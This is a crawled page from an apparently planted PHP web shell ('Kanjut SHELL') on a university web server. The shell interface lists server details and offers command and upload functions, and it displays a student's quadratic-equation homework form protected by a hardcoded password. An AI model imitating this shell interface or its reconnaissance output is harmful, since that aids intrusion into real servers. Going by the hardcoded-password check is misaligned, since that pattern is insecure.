Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.188.140.232
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jesimmons/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jesimmons/public_html/Ass2-2formula.php
<!--    
	File name: Ass2-2formula.php 
	Assigment 2-2
	Due: Feb. 27, 2020
	Author: Jackson S.
	Goal:1.	Design a form that includes the text boxes for a, b, and c of quadratic equation, ax2+bx+c=0. 
	        And then create the action page displays the solutions (display to one decimal place). 
		If no real roots, display the message.

-->

<?php	session_start();

	$pass = $_POST['pass'];
	$_SESSION['psw'] = $pass;
	if($pass != "hw22")
		print "You best pray I never see you on here again without a good password.";
	else
	{
?>
	

<CENTER>
<H2>
The Quadratic Equation Form: ax^2+bx+c=0 
</H2>
<HR>
<FORM action=Ass2-2quadratic.php method=post>
a? <INPUT type=text name=aVar>
<P>
b? <INPUT type=text name=bVar>
<P>
c? <INPUT type=text name=cVar>
<P>
<INPUT type=submit value="Submit Form">
<INPUT type=reset value="Reset Form">
</FORM>

</CENTER>
<?php
}
?>

Stv3n404 - 2023